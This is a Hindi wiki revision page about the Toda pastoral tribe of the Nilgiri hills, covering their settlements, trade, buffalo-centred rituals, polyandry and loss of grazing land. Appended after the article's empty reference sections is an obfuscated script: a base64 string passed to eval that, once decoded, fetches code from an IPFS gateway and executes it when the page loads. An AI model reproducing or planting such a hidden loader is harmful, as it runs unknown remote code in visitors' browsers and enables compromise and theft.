"टोडा जनजाति" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (श्रेणी:नया पन्ना जनवरी-2012; Adding category Category:तमिलनाडु (को हटा दिया गया हैं।))
पंक्ति 22: पंक्ति 22:
 
[[Category:जातियाँ और जन जातियाँ]]
 
[[Category:जातियाँ और जन जातियाँ]]
 
[[Category:दक्षिण भारत]]
 
[[Category:दक्षिण भारत]]
[[Category:नया पन्ना जनवरी-2012]]
+
[[Category:तमिलनाडु]]
  
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

09:49, 8 फ़रवरी 2012 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"
टोडा जनजाति की महिलाएँ, नीलगिरि पहाड़ियाँ

टोडा जनजाति दक्षिण भारत में नीलगिरि पहाड़ियों की एक पशुपालक जनजाति है। 1960 के दशक में इनकी संख्या लगभग 800 थी। जो अब बेहतर स्वास्थ्य सुविधाओं के कारण तेज़ी से बढ़ रही है। टोडा भाषा द्रविड़ परिवार की भाषा है, किंतु उसमें बाद में सबसे ज्यादा विकृतियाँ आई।

अवास

टोडा तीन से लेकर सात छोटी-छोटी झोपड़ियों वाली ऐसी बस्तियों में रहते हैं, जो चरागाह ढलानों पर दूर-दूर बिखरी होती हैं। इनकी झोपड़ियों लकड़ी के ढांचों पर खडी होती है तथा छतें अर्द्धबेलनाकार व कमानीदार होती हैं।

परंपरा

टोडा लोग अपना परंपरागत दूध का धंधा और बरू व बांस की वस्तुओं का विनिमय कर नीलगिरि के अन्य लोगों, जैसे बडगा से अनाज, कपड़ा तथा कोटा से औज़ार व मिट्टी के बर्तन लेते हैं। टोडा शवयात्रा में बाजा बजाने का काम करुंबा नामक वनवासी करते हैं तथा यही उन्हें अन्य वनोपजों की आपूर्ति भी करते हैं।

पशुपालक

मुल्लिमुन्थ टोडा मन्दिर, नीलगिरि पहाड़ियाँ

टोडा जनजाति का धर्म उनके लिए सबसे ज्यादा महत्त्वपूर्ण भैसों के इर्द-गिर्द केंद्रित है। दूध निकालने से लेकर पशुओं को नमक, चारा खिलाने और दही मथने, मक्खन निकालने तथा मौसम के अनुसार चरागाहों के बदलने तक, सारी क्रियाओं के साथ कोई न कोई धार्मिक अनुष्ठान जुड़ा रहता है। इसके अलावा, गोपालकों के पुरोहितों के आदेश तथा गौशालाओं के पुननिर्माण, अंत्येष्टि स्थलों की छतों की मरम्मत आदि के लिए भी अनुष्ठान होते है। ये अनुष्ठान तथा विस्तृत अंत्येष्टि क्रियाएँ सामाजिक संपर्क के ऐसे अवसर होते है, जब समुदाय के लिए उपयोगी भैंसों के प्रति संकेत करते हुए जटिल काव्यात्मक गीत रचे और गाए जाते हैं।

विवाह

बहुपति विवाह सामान्य है; अनेक पुरुषों, सामान्यत: भाइयों की एक ही पत्नी हो सकती है। जब भी कोई टोडा स्त्री गर्भवती होती है, उसके पतियों में से कोई एक उसे आनुष्ठानिक रूप से तीर और कमान का खिलौना भेंट करता है और उसके बच्चे का सामाजिक पिता होने की घोषणा करता है।

ख़तरे

टोडा चरागाहों की बहुत सी ज़मीन हाल ही में अन्य लोगों द्वारा खेती के लिए ले ली गई है और उसमें से बड़े हिस्से पर वृक्षारोपण भी किया जा चुका है। इससे भैंसों की संख्या कम हो रही है, जिससे टोडा संस्कृति को ख़तरा उत्पन्न हो गया है । 20 वीं सदी में एक पृथक टोडा समुदाय ने (1960 में 187 लोगों ने) ईसाई धर्म अपना लिया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>